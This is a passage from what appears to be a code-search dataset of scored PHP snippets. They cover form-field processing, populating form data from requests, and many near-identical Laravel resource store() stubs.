$arrFields[$id]['lang'][$langId] = array(\n 'name' => contrexx_input2raw($fieldNames[$id][$langId]),\n 'value' => $fieldValue,\n );\n }\n }\n }\n\n return $arrFields;\n }", "title": "" }, { "docid": "fafad3524d85250fccfe5f035228f374", "score": "0.5794683", "text": "private function chop_form_fields($field_name){\n\t\t$field_array = explode('-', $field_name);\n\t\treturn array('field' => $field_array[1], 'form_id' => $field_array[2]);\n\t}", "title": "" }, { "docid": "1866c561f3420a88f79f23a77c767c8b", "score": "0.57890546", "text": "public function formatField(&$data)\n {\n $data['file']['delimiter'] = $this->_formatDelimiterSelect($data);\n $data['file']['enclosure'] = $this->_formatEnclosureSelect($data);\n\n $data['general']['scripts'] = $this->formatScriptFields($data, true);\n\n $data['dataprocessing']['general']['mode'] = $this->_formatModeSelect(\n $data['dataprocessing']['general']['mode']\n );\n $data['dataprocessing']['general']['import'] = $this->_formatImportSelect(\n $data['dataprocessing']['general']['import']\n );\n $data['dataprocessing']['images']['image_prefix'] = $this->_formatImagesPrefix($data);\n $data['general_defaults']['websites'] = $this->_formatWebsitesFields($data['general_defaults']['websites']);\n $data['general_defaults']['store'] = $this->_formatStoreFields($data['general_defaults']['store']);\n\n $configServices = new ConfigService('bin/mappings');\n $mappingFiles = $configServices->getFiles();\n\n $data['dataprocessing']['general']['mappings'] = $this->_formatMappingSelect(\n $data,\n $mappingFiles\n );\n }", "title": "" }, { "docid": "92dcaf8d77b855eb3c9ba3a691f2568d", "score": "0.5788578", "text": "protected function getFormData()\n\t{\n\t\t$array = array();\n\t\t$sql = sprintf('SELECT id, page_id, method, action FROM crawl_security_form');\n\t\t$res = mysql_query($sql, $this->db);\n\t\tif (mysql_num_rows($res) > 0) {\n\t\t\twhile ($row = mysql_fetch_assoc($res)) {\n\t\t\t\t$elements = array();\n\t\t\t\t$sql = sprintf('SELECT id, name FROM crawl_security_form_elements WHERE form_id = %d', (int) $row['id']);\n\t\t\t\t$res2 = mysql_query($sql, $this->db);\n\t\t\t\tif (mysql_num_rows($res2) > 0) {\n\t\t\t\t\twhile ($row2 = mysql_fetch_assoc($res2)) {\n\t\t\t\t\t\t$elements[] = $row2['name'];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$array[ $row['id'] ] = array('page_id' => $row['page_id'],\n\t\t\t\t\t\t\t\t\t\t\t 'method' => $row['method'],\n\t\t\t\t\t\t\t\t\t\t\t 'action' => $row['action'],\n\t\t\t\t\t\t\t\t\t\t\t 'elements' => $elements);\n\t\t\t}\n\t\t}\n\t\treturn $array;\n\t}", "title": "" }, { "docid": "6773fe0113ce0960fcac5a963725a38c", "score": "0.5787955", "text": "public function validator(&$user_data) {\n if ($user_data == null) {\n return false;\n }\n if (!array_key_exists($this->form_id, $user_data)) {\n return false;\n }\n $keys = array_keys($user_data);\n for ($i = 0; $i < sizeof($this->form['type']); $i++) {\n \n }\n\n var_dump($user_data);\n }", "title": "" }, { "docid": "5d7c405b30ee2fb623a71631af58806d", "score": "0.57855207", "text": "public function mapDataToForms($data, $forms)\n {\n $data = array('tags' => $data);\n parent::mapDataToForms($data, $forms);\n }", "title": "" }, { "docid": "9bc088035dd973295cb827678e465895", "score": "0.5784483", "text": "public function getDataInputs();", "title": "" }, { "docid": "743b7c3d30239b6dc0d08a91bdd412c7", "score": "0.57808656", "text": "function populate(){\n\t\techo \"<h2>populate</h2>\";\n\t\tprint_r($_REQUEST);echo \"<br />\";\n\n\t\tforeach($this->fields as $k=>$arr){\n\t\t\t$k=key($arr);\n\t\t\t$f=current($arr);\n\n\t\t\tif(isset($_REQUEST[$k])){\n\t\t\t\techo \"<li>$k = \".$_REQUEST[$k].\"</li>\";\n\t\t\t\tif($f->type==RADIO){\n\t\t\t\t\tif($f->value == $_REQUEST[$k])\n\t\t\t\t\t\t$f->check();\n\t\t\t\t\telse\n\t\t\t\t\t\t$f->check(false);\n\t\t\t\t}\n\t\t\t\telseif($f->type==CHECK)\n\t\t\t\t\t\t$f->check();\n\t\t\t\telse{\n\t\t\t\t\t$f->set_value( $_REQUEST[$k] ) ;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t\t$f->check(FALSE);\n\t\t\t\t\n\t\t}\n\t}", "title": "" }, { "docid": "62768223d43ae44a7a84f764dc9bca9f", "score": "0.57803106", "text": "function doPopulateData($pData_ = array(),$isForm_ = false) {\n\t\tif (count($pData_)>0) {\n\t\t\tforeach ($this->fieldMap as $key => $value) {\n\t\t\t\tif ($isForm_) {\n\t\t\t\t\t$this->Data[$value] = $pData_[$value];\n\t\t\t\t} else {\n\t\t\t\t\t$this->Data[$key] = $pData_[$value];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "dba4bba9f4c7865345ae41a43ef8f5b2", "score": "0.5779215", "text": "function _reset_old_fields_data()\n {\n // if empty assign form field with old values\n $this->B->tpl_data['name'] = commonUtil::stripSlashes($_POST['name']);\n $this->B->tpl_data['emailserver'] = commonUtil::stripSlashes($_POST['emailserver']);\n $this->B->tpl_data['email'] = commonUtil::stripSlashes($_POST['email']);\n $this->B->tpl_data['description'] = commonUtil::stripSlashes($_POST['description']);\n $this->B->tpl_data['status'] = $_POST['status']; \n }", "title": "" }, { "docid": "46193bfed85cfd5ba84652f31ada00b9", "score": "0.5776539", "text": "public function _set_fields()\n\t{\n\t\t$this->form_data->id = '';\n\t\t$this->form_data->kdmenteri = '';\n\t\t$this->form_data->nmmenteri = '';\n\t\t$this->form_data->kdes1 = '';\n\t\t$this->form_data->nmes1 = '';\n\t\t$this->form_data->kdes2 = '';\n\t\t$this->form_data->nmes2 = '';\n\t}", "title": "" } ]
fadac0ad01a8483e687a27f948bfd50d
Operation isAutomatic Tells whether automatic link mode is active or not
[ { "docid": "033bb86c352db54276a18ec649df0ee2", "score": "0.6889069", "text": "public function isAutomatic()\n {\n list($response) = $this->isAutomaticWithHttpInfo();\n return $response;\n }", "title": "" } ]
[ { "docid": "61ae4052318a1a26011a0aa4f3a5f01b", "score": "0.6283837", "text": "public function getAutomatic() {\r\n return $this->automatic;\r\n }", "title": "" }, { "docid": "694804e50e013cd3aba4654955d36f37", "score": "0.6215857", "text": "public function getAutomatic(): ?bool\n {\n return $this->automatic;\n }", "title": "" }, { "docid": "215fa8894430a14195745ec8110980ba", "score": "0.61516213", "text": "public function getAutomatic()\n {\n return $this->readOneof(1);\n }", "title": "" }, { "docid": "9232f0ad788f7e15ae48c5bab00dd495", "score": "0.6075837", "text": "public function isAutoDownloadEnabled() {\n return $this->settings['features']['autoDownload'];\n }", "title": "" }, { "docid": "b0825fb7a73f2ee04bbe26fa7fe2c7c8", "score": "0.5965176", "text": "public function isLink(): bool;", "title": "" }, { "docid": "69ecc7e5b609bb2a585751fe211cca36", "score": "0.57827467", "text": "function isLink() {\n\t\treturn $this->link;\n\t}", "title": "" }, { "docid": "10daa29a5d6aaeb2b52b7157e57f02d6", "score": "0.5704614", "text": "public function testEnableLink() {\n $enabledLink = $this->Links->find('all')\n ->where(['title' => 'Enabled link'])\n ->toArray()[0];\n $result = $this->Links->enable($enabledLink);\n $this->assertEquals(false, $result);\n }", "title": "" }, { "docid": "cd2ce936dfdbdb50ffd168a86934e6b1", "score": "0.5673917", "text": "public function isRelationHeadOn(): bool\n {\n return true;\n }", "title": "" }, { "docid": "26544685b56e2331f741c41deecf018b", "score": "0.5640004", "text": "public function isDeepLinkLaunch()\n {\n return $this->jwt['body'][LtiConstants::MESSAGE_TYPE] === static::TYPE_DEEPLINK;\n }", "title": "" }, { "docid": "eb12bbdfe9309b6ba7e56d093fa49b29", "score": "0.56081694", "text": "public function isAutomaticAsync()\n {\n return $this->isAutomaticAsyncWithHttpInfo()\n ->then(\n function ($response) {\n return $response[0];\n }\n );\n }", "title": "" }, { "docid": "c0011f77579b165f73bf7062aa3f6fe1", "score": "0.55693597", "text": "public function LinkingMode()\n {\n $linkingMode = '';\n if ($this->IsDefault()) {\n $linkingMode .= ' default';\n }\n if ($this->IsCurrent()) {\n $linkingMode .= ' current';\n } else {\n $linkingMode .= ' link';\n }\n\n return $linkingMode;\n }", "title": "" }, { "docid": "1971f586567a3aaa59c01bbfb7cd1ce7", "score": "0.5568993", "text": "public function is_auto_approved() { return self::S_AUTO_APPROVED === $this->_status; }", "title": "" }, { "docid": "657e7d9b4f4b0753bde2cf8c668303ac", "score": "0.5565322", "text": "public function getIsClickable(): bool\n {\n return $this->isClickable;\n }", "title": "" }, { "docid": "a74b59019d327ca5737e4e7ba24e8c5a", "score": "0.55629855", "text": "abstract function is_activation_mode();", "title": "" }, { "docid": "08470332e8acea49f9dae4259e40be49", "score": "0.55597466", "text": "public function can_showdirectlink() {\n return true;\n }", "title": "" }, { "docid": "e2067c69527a8f82f4143124190e4f4b", "score": "0.55488616", "text": "public function active() : bool;", "title": "" }, { "docid": "0999c06d7a6e77cb9589a236b2dcd7a9", "score": "0.55406713", "text": "function IsActivated()\r\n \t{\r\n \t\treturn $this->get('IsActivated') == 'Y';\r\n \t}", "title": "" }, { "docid": "d48ccedbcd459c8f978564cf82d566cb", "score": "0.551462", "text": "public function checkout_auto_is_active()\n {\n return ($this->opt['woochimp_checkout_auto_subscribe_on'] == '4') ? false : true;\n }", "title": "" }, { "docid": "e862031c7af04930a850cfc0afde813b", "score": "0.5492192", "text": "public function activo()\n {\n return ($this->estado == 'Activo')?true:false;\n }", "title": "" }, { "docid": "51b1b7841e590093e8a81fe1f0d0cb0c", "score": "0.5460519", "text": "public function enabled();", "title": "" }, { "docid": "ef0b674b7811b947dce38b5d4193fb83", "score": "0.5458221", "text": "public function isConnected(){\n return !empty( $this->link );\n }", "title": "" }, { "docid": "8f2a5134a01d54de8776a564a099ac43", "score": "0.54579353", "text": "public function isManualExecution(){\r\n\t\treturn $this->_isManual;\r\n\t}", "title": "" }, { "docid": "7e0d597c10630b243da6a685e15a96e9", "score": "0.54440993", "text": "protected function isLink() {}", "title": "" }, { "docid": "d88e9068a5ac37eda0094e02dcbb9fa9", "score": "0.5441295", "text": "public function isOn(): bool;", "title": "" }, { "docid": "d83c8dd740fe1315b9c411d80c403f04", "score": "0.5438067", "text": "protected function getIsDownloadableAttribute(): bool\n {\n return 'yes' === $this->getMeta('_downloadable');\n }", "title": "" }, { "docid": "50c3658acf689d07ad6be783df3e30a7", "score": "0.54283875", "text": "public function getConfigManual()\n {\n return $this->configParams['manual_link'];\n }", "title": "" }, { "docid": "e6f6b433ab9e62abe875ae34e0b49b79", "score": "0.5416234", "text": "protected function shouldAutoInitiate(): bool\n {\n $socialDrivers = $this->socialAuthService->getActiveDrivers();\n $authMethod = config('auth.method');\n $autoRedirect = config('auth.auto_initiate');\n\n return $autoRedirect && count($socialDrivers) === 0 && in_array($authMethod, ['oidc', 'saml2']);\n }", "title": "" }, { "docid": "85f008ea846d253c805aa74f2b7ad7cf", "score": "0.54127455", "text": "public function getIsMenuLinkEnabled(): bool;", "title": "" }, { "docid": "980856d364c003afc577ecc9d3d2836a", "score": "0.5399252", "text": "public function getIsSendLink()\n {\n return $this->isSendLink;\n }", "title": "" }, { "docid": "b39193b5d26da5ce1d00c541dc9fd866", "score": "0.53966117", "text": "function is_automattician() : bool {\n\treturn false;\n}", "title": "" }, { "docid": "3fe426645996e7c49947201c4f7c73d2", "score": "0.53815204", "text": "function toggle_link($notify) {\n\n if ($notify == TRUE) {\n return FALSE;\n } elseif ($notify == FALSE) {\n return TRUE;\n }\n}", "title": "" }, { "docid": "cb4ff6c55b9467585704ab9dc9a37cdd", "score": "0.5379158", "text": "public function automated() : bool;", "title": "" }, { "docid": "02bb6c8f6dc223f2bfafa7b986553719", "score": "0.5378262", "text": "public function LinkingMode() {\n if(Controller::CurrentPage() && Controller::CurrentPage()->ClassName == 'StaffListing') {\n //check that the action is 'show' and that we have a StaffMember to work with\n if(Controller::CurrentPage()->getAction() == 'show' && $StaffMember = Controller::CurrentPage()->getStaffMember()) {\n //If the current StaffMember is the same as this return 'current' class\n return ($StaffMember->ID == $this->ID) ? 'current' : 'link';\n }\n }\n }", "title": "" }, { "docid": "950c6f794e5b682292c91fd3be04ddb5", "score": "0.5370797", "text": "public function getActive(): bool;", "title": "" }, { "docid": "b10777805667094950f23fa3eac070b0", "score": "0.5370274", "text": "static public function get_allow_automatic_adding_rel_nofollow() {\r\n\t\t\t$options = self::get_options();\r\n\t\t \treturn $options['allow_automatic_adding_rel_nofollow'];\r\n\t\t}", "title": "" }, { "docid": "1d9e0c1c829a65f563ae091d5910ce25", "score": "0.53631246", "text": "function link()\r\n {\r\n $right = right::get(\"rights\");\r\n if ($right & 4) return(TRUE);\r\n else return(FALSE);\r\n }", "title": "" }, { "docid": "b278853ecf41c4ca0ef51f5826d844a1", "score": "0.5348246", "text": "public function displayLinks()\n {\n return (bool)$this->_scopeConfig->getValue(\n 'mfblog/post_view/nextprev/enabled',\n \\Magento\\Store\\Model\\ScopeInterface::SCOPE_STORE\n );\n }", "title": "" }, { "docid": "19aa712c32cda084bd96421a185a9dc8", "score": "0.53457856", "text": "public function isReflexive() {\n\t\treturn $this->model == $this->foreign;\n\t}", "title": "" }, { "docid": "394d3a4a03c7a037be93c8930c5df82b", "score": "0.53329986", "text": "public function get_api_is_reachable() {\n\t\t$enabled = get_option( 'algolia_api_is_reachable', 'no' );\n\n\t\treturn 'yes' === $enabled;\n\t}", "title": "" }, { "docid": "cb14c94a7eab7b6e674f02923807f659", "score": "0.5332446", "text": "public function isAutomated(): bool;", "title": "" }, { "docid": "81fecfce7c663e48e693033655319180", "score": "0.5330589", "text": "public function useManualAutoDJ(): bool\n {\n return $this->getBackendConfig()->useManualAutoDj();\n }", "title": "" }, { "docid": "00b47fa31d4e32238f23500ee412b919", "score": "0.53102857", "text": "public function setAutomatic(?bool $automatic): self\n {\n $this->automatic = $automatic;\n\n return $this;\n }", "title": "" }, { "docid": "027f465a9650effd332deb7bac8c7ef9", "score": "0.53102785", "text": "function setFlagForLinkView()\r\n {\r\n \r\n \t\t\tif($_SESSION['linkFlag']==1)\r\n\t\t\t{\r\n\t\t\t echo \"false\";\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t$_SESSION['linkFlag']=1;\r\n\t\t\t\techo \"true\";\r\n\t\t\t}\r\n }", "title": "" }, { "docid": "5410513875839ebbbae995c06799619c", "score": "0.52838576", "text": "function is_automattic() : bool {\n\treturn false;\n}", "title": "" }, { "docid": "009d7f1ee2e1d167b2b33ef57aa13c19", "score": "0.5281242", "text": "public function isManualSingleAssignmentMethod()\n {\n return ($this->getSingleAssignmentMethodCode() == 'manual') ? true : false;\n }", "title": "" }, { "docid": "d2644d0f2ba22ce39f56bedf588865d7", "score": "0.52793443", "text": "public function is_active();", "title": "" }, { "docid": "d2644d0f2ba22ce39f56bedf588865d7", "score": "0.52793443", "text": "public function is_active();", "title": "" }, { "docid": "d86f019e418e509d50a3674cb4501c6f", "score": "0.52742654", "text": "public function display_automatic_link_transaction() {\n\t\t$this->template = false;\n\t\t$transaction = \\Bank_Account_Statement_Transaction::get_by_id($_POST['id']);\n\t\t$response = [\n\t\t\t'id' => $transaction->id,\n\t\t\t'success' => false,\n\t\t\t'message' => ''\n\t\t];\n\n\t\ttry {\n\t\t\t$transaction->automatic_link();\n\t\t\t$response['success'] = true;\n\t\t} catch (\\Exception $e) {\n\t\t\t$response['success'] = false;\n\t\t\t$response['message'] = $e->getMessage();\n\t\t}\n\n\t\techo json_encode($response);\n\t}", "title": "" }, { "docid": "9883c108199bcdc3ad27eabcbefd71b2", "score": "0.526359", "text": "public function isEnabled(){\n return $this->activo;\n }", "title": "" }, { "docid": "9e9ac938084ebd9dea44c3325f51989b", "score": "0.5262516", "text": "public function isActive()\n {\n return $this->active === 1;\n }", "title": "" }, { "docid": "ed23adec0fe95518702ef335ad09412b", "score": "0.525397", "text": "public static function isActivated ()\r\n {\r\n return Session::exists('acl');\r\n }", "title": "" }, { "docid": "fe00af70c487919b4b1b090c5cc3a965", "score": "0.5244087", "text": "public function provideResettingLink(): ?bool;", "title": "" }, { "docid": "b53448349e95069367f0669e1788ec8e", "score": "0.52424365", "text": "public function setAuto()\n {\n exec(self::XRANDR_BIN . ' --auto', $output, $exitcode);\n\n return $exitcode === 0;\n }", "title": "" }, { "docid": "0f70c2008837603e9eeb8a552cb52478", "score": "0.5240483", "text": "public function getAssociateMode();", "title": "" }, { "docid": "7a993f63a8d87aa9351ad1c7ee83f64c", "score": "0.5239924", "text": "public function IsActive()\n {\n return true;\n }", "title": "" }, { "docid": "8171b4a99c6499c41b4e57ce971cad88", "score": "0.5231469", "text": "public function isActive(): bool\n {\n return true;\n }", "title": "" }, { "docid": "b1cd0cf8629900690ea67e86e7378020", "score": "0.5231233", "text": "public function isDynamicUrl();", "title": "" }, { "docid": "e1276e0a40b2e5cafa4331762a6734f3", "score": "0.5218903", "text": "public function isResourceLaunch()\n {\n return $this->jwt['body'][LtiConstants::MESSAGE_TYPE] === static::TYPE_RESOURCELINK;\n }", "title": "" }, { "docid": "dcd3e28e38ecb54d9dc3814ffd60a331", "score": "0.5216232", "text": "public function getLinkAvailability()\n\t{\n\t\treturn $this->linkAvailability;\n\t}", "title": "" }, { "docid": "2cae573afcbb5003a8644f9078cc2feb", "score": "0.5214006", "text": "function isEnabled();", "title": "" }, { "docid": "96b518a9be565311158a3569b62b84a6", "score": "0.5211211", "text": "public function setAutomatic($value) {\r\n $this->automatic = $this->setBooleanProperty($this->automatic, $value);\r\n $this->automaticMinimum = $value;\r\n $this->automaticMaximum = $value;\r\n }", "title": "" }, { "docid": "dd2e32649f79be113aac7dd04abbc218", "score": "0.520466", "text": "public function isAutoNotifyEnabled()\n {\n return (Mage::getStoreConfig('easywebshopsms/abandoned_notifications/auto_notify_enable')==0) ? false : true;\n }", "title": "" }, { "docid": "28fd31e092e28312d8857097df64642a", "score": "0.52031714", "text": "function isEnabled ();", "title": "" }, { "docid": "eef15e2af588b4db9710b766d9f37564", "score": "0.5199494", "text": "public function hasLinks()\n {\n return !!$this->numLinks();\n }", "title": "" }, { "docid": "63ea5cc854f7081d6e9504b5baadba2e", "score": "0.5197055", "text": "public function isDownloadable()\n {\n return ($this->getBehavior('downloadBehavior') !== null);\n }", "title": "" }, { "docid": "29cb8135613c038bd97b16441aeb8cdd", "score": "0.51929194", "text": "public function is_active()\n {\n }", "title": "" }, { "docid": "29cb8135613c038bd97b16441aeb8cdd", "score": "0.51929194", "text": "public function is_active()\n {\n }", "title": "" }, { "docid": "29cb8135613c038bd97b16441aeb8cdd", "score": "0.51929194", "text": "public function is_active()\n {\n }", "title": "" }, { "docid": "29cb8135613c038bd97b16441aeb8cdd", "score": "0.51929194", "text": "public function is_active()\n {\n }", "title": "" }, { "docid": "385aeee11f5d48790b1632944a4a104e", "score": "0.51917666", "text": "function isActive() ;", "title": "" }, { "docid": "29cb8135613c038bd97b16441aeb8cdd", "score": "0.51913446", "text": "public function is_active()\n {\n }", "title": "" }, { "docid": "7612af96e345347db7ceadabcc99d094", "score": "0.51903176", "text": "public function isForced() : bool {\n return $this->isForced;\n }", "title": "" }, { "docid": "bacd62155bd5372985001531a2a511ef", "score": "0.5182827", "text": "public function isActivated()\n\t{\n\t\treturn $this->activated == 1;\n\t}", "title": "" }, { "docid": "fc77e669055a8b86bf985a3f7cad8a95", "score": "0.517518", "text": "public function is_enabled()\n {\n }", "title": "" }, { "docid": "fae3234d54d5ff6472b971b9f7cf9c93", "score": "0.5157828", "text": "public function should_link_to_wp_admin() {\n\t\t$result = false; // Calypso.\n\n\t\t$user_attribute = get_user_attribute( get_current_user_id(), 'calypso_preferences' );\n\t\tif ( ! empty( $user_attribute['linkDestination'] ) ) {\n\t\t\t$result = $user_attribute['linkDestination'];\n\t\t}\n\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "f13665c4e69dadeeaa156632ef62a65f", "score": "0.5153756", "text": "public static function isLiveMode()\n {\n return static::getInstance()->blnLiveMode ? true : false;\n }", "title": "" }, { "docid": "6b10734de488b7c6e5789fc051cfe116", "score": "0.51535964", "text": "public function isLinked() {\n if ($this->credential->getAccessToken() == null)\n return false;\n else\n return true;\n }", "title": "" }, { "docid": "578ffa229253728ed98516439c69a8b6", "score": "0.51502943", "text": "static function auto_check_enabled() {\n return (bool)module::get_var(\"gallery\", \"upgrade_checker_auto_enabled\");\n }", "title": "" }, { "docid": "c5075928ee5a88b425c9b6facc55299c", "score": "0.5149253", "text": "public function isActive()\n {\n return $this->active == static::ACTIVE;\n }", "title": "" }, { "docid": "2d5d6fce4e65999c41c5c3e7ede3602e", "score": "0.51408243", "text": "public function isActive();", "title": "" }, { "docid": "2d5d6fce4e65999c41c5c3e7ede3602e", "score": "0.51408243", "text": "public function isActive();", "title": "" }, { "docid": "2d5d6fce4e65999c41c5c3e7ede3602e", "score": "0.51408243", "text": "public function isActive();", "title": "" }, { "docid": "7f5b378560fe923e76659a0cfc32a2c1", "score": "0.5139499", "text": "public function isForced()\n {\n return $this->isForced;\n }", "title": "" }, { "docid": "9bfa1cad6d532d8f7d53dc56539da06a", "score": "0.5137084", "text": "public function IsConnected()\r\n\t{\r\n\t\tif( gettype( $this->db_link ) == 'resource' )\r\n\t\t{\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "848da349021a7de2d0d97b6606d93273", "score": "0.5130061", "text": "public function isShowActivator() {\n\t\t$cache = WP_Helper::getCache();\n\t\tif ( $cache->get( 'wdf_isActivated', false ) == 1 ) {\n\t\t\treturn 0;\n\t\t}\n\t\tif ( get_site_transient( 'wp_defender_free_is_activated' ) == 1 ) {\n\t\t\treturn 0;\n\t\t}\n\t\t\n\t\tif ( get_site_option( 'wp_defender_free_is_activated' ) == 1 ) {\n\t\t\treturn 0;\n\t\t}\n\t\t\n\t\t$keys = [\n\t\t\t'wp_defender',\n\t\t\t'wd_scan_settings',\n\t\t\t'wd_hardener_settings',\n\t\t\t'wd_audit_settings',\n\t\t\t'wd_2auth_settings',\n\t\t\t'wd_masking_login_settings'\n\t\t];\n\t\tforeach ( $keys as $key ) {\n\t\t\t$option = get_site_option( $key );\n\t\t\tif ( is_array( $option ) ) {\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn 1;\n\t}", "title": "" }, { "docid": "b7e07b64dafadbf5aeb8b3dbc581a275", "score": "0.5122772", "text": "public function changeStatus(): void\n {\n if ('online' === $this->online_status) {\n if ($this->reference_id > 0) {\n $query = 'UPDATE '. rex::getTablePrefix() .'d2u_references_references '\n .\"SET online_status = 'offline' \"\n .'WHERE reference_id = '. $this->reference_id;\n $result = rex_sql::factory();\n $result->setQuery($query);\n }\n $this->online_status = 'offline';\n } else {\n if ($this->reference_id > 0) {\n $query = 'UPDATE '. rex::getTablePrefix() .'d2u_references_references '\n .\"SET online_status = 'online' \"\n .'WHERE reference_id = '. $this->reference_id;\n $result = rex_sql::factory();\n $result->setQuery($query);\n }\n $this->online_status = 'online';\n }\n\n // Don't forget to regenerate URL cache to make online machine available\n if (rex_addon::get('url')->isAvailable()) {\n d2u_addon_backend_helper::generateUrlCache('reference_id');\n d2u_addon_backend_helper::generateUrlCache('tag_id');\n }\n }", "title": "" }, { "docid": "a9ffedd61957609a6372c33484b258a0", "score": "0.5121041", "text": "private function automatic($operation)\n {\n return ($this->automaticHeaders & $operation) === $operation;\n }", "title": "" }, { "docid": "411cdc4db1ea940cb4a58fe90973c16d", "score": "0.51205236", "text": "public function activate() {\n return true;\n }", "title": "" }, { "docid": "cd5847b8d927c8ff49a991a3eb51d7d5", "score": "0.511387", "text": "abstract public static function enabled();", "title": "" }, { "docid": "252b4d5d2e697885250d2cb2d5c9c13d", "score": "0.51094913", "text": "public function getIsActivated()\n {\n return $this->IsActivated;\n }", "title": "" }, { "docid": "79a50f9df330c5a6d161a8075d98ada4", "score": "0.5106189", "text": "function getIsActive() ;", "title": "" }, { "docid": "2eda88e8f4c6562f9f51b1547a121936", "score": "0.5094325", "text": "public function isActive() \n {\n if ($this->status==1)\n return true;\n else\n return false;\n }", "title": "" }, { "docid": "6a72b93fe7a1dd03f91e9aacd40ed696", "score": "0.5092279", "text": "public function isActive(): bool;", "title": "" }, { "docid": "6a72b93fe7a1dd03f91e9aacd40ed696", "score": "0.5092279", "text": "public function isActive(): bool;", "title": "" }, { "docid": "6a72b93fe7a1dd03f91e9aacd40ed696", "score": "0.5092279", "text": "public function isActive(): bool;", "title": "" }, { "docid": "6a72b93fe7a1dd03f91e9aacd40ed696", "score": "0.5092279", "text": "public function isActive(): bool;", "title": "" }, { "docid": "6a72b93fe7a1dd03f91e9aacd40ed696", "score": "0.5092279", "text": "public function isActive(): bool;", "title": "" }, { "docid": "def026ea13f6b4887c5597af55c58373", "score": "0.50912046", "text": "static public function get_check_if_active_url() {\r\n\t\t\treturn self::$url_check_if_active;\r\n\t\t}", "title": "" }, { "docid": "3d408864a216b49973493786f911df5d", "score": "0.50883645", "text": "public function isActive(): bool {\n if (App::getClassStatus() == App::STATUS_INITIALIZING) {\n return true;\n }\n\n $routeUri = Router::getUriObjByURL(Request::getRequestedURI());\n\n if ($routeUri !== null) {\n $routeType = $routeUri->getType();\n } else {\n $routeType = Router::VIEW_ROUTE;\n }\n\n return $routeType == Router::API_ROUTE || (defined('API_CALL') && API_CALL === true);\n }", "title": "" }, { "docid": "bcd23bb024f93d9ae8780ff5131d0fa4", "score": "0.5086537", "text": "public function isNeeded() {\n if ($this->isFacebookLinked() || $this->isTwitterLinked() || $this->isLinkedInLinked()) {\n return TRUE;\n }\n return FALSE;\n }", "title": "" } ]
972499302c169f21ea61b70e96990c89
Store a newly created resource in storage.
[ { "docid": "f67cf513d653d9dee7f82ae48d73ac7b", "score": "0.0", "text": "public function store(Request $req)\n {\n $cart = session()->get('shop');\n if ($cart) {\n $kd_trans = \"KD\" . rand(0, 9999) . time();\n foreach ($cart as $key => $item) {\n $data = [\n 'kd_transaksi' => $kd_trans,\n 'kd_brg' => $key,\n 'id' => Auth::user()->id,\n 'alamat' => $req->alamat,\n 'jumlah' => $item['jumlah'],\n 'harga' => $item['harga'],\n 'created_at' => now()\n ];\n Transaksi::insert($data);\n }\n session()->forget('shop');\n return redirect()->route('user.histori')->with(\"success\", \"Berhasil Melakukan Transaksi!!\");\n } else {\n return redirect()->back()->with(\"error\", \"Tidak Ada Buku yang dibeli!!\");\n }\n }", "title": "" } ]
[ { "docid": "75600e5d65c2156987ff7cb140e14a4b", "score": "0.6621582", "text": "public function store() {\n $fileService = $this->getFileService();\n $filename = $this->getCacheDirectory() . $this->generateCacheablefilename();\n $fileService->saveFile($filename, $this->resource->getContent());\n }", "title": "" }, { "docid": "f1bd5867e87bbf56aefbfc6de8693786", "score": "0.66209733", "text": "public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }", "title": "" }, { "docid": "0c03c39e441c2fe392d76d6370ae3ce2", "score": "0.65685713", "text": "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "title": "" }, { "docid": "0f8c1fe3e3b0c6572457ef33c35c6488", "score": "0.65095705", "text": "function storeAndNew() {\n $this->store();\n }", "title": "" }, { "docid": "55b375ea7c339e8f0e9c38919b53b1db", "score": "0.637569", "text": "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": 